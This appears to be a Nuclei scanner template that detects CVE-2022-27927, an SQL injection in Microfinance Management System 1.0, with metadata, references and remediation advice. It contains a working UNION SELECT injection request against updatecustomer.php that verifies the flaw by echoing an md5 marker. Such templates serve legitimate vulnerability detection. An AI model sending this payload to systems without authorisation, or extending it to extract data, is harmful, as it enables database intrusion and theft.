id: CVE-2022-27927

info:
  name: Microfinance Management System 1.0 - SQL Injection
  author: lucasljm2001,ekrause
  severity: critical
  description: |
    Microfinance Management System 1.0 is susceptible to SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
    - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
    - https://www.exploit-db.com/exploits/50891
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
    - https://www.sourcecodester.com/php/14822/microfinance-management-system.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27927
    cwe-id: CWE-89
    epss-score: 0.72398
    epss-percentile: 0.98782
    cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microfinance_management_system_project
    product: microfinance_management_system
  tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402205759f31cbbc124032f61a484fa1a19f36b6d2b9b519305161300b95f5f96b1e90220587ec3f8d2424753cbf30b74420d0da1f93c6208935b16a2578b0e471645d2c6:922c64590222798bb761d5b6d8e72950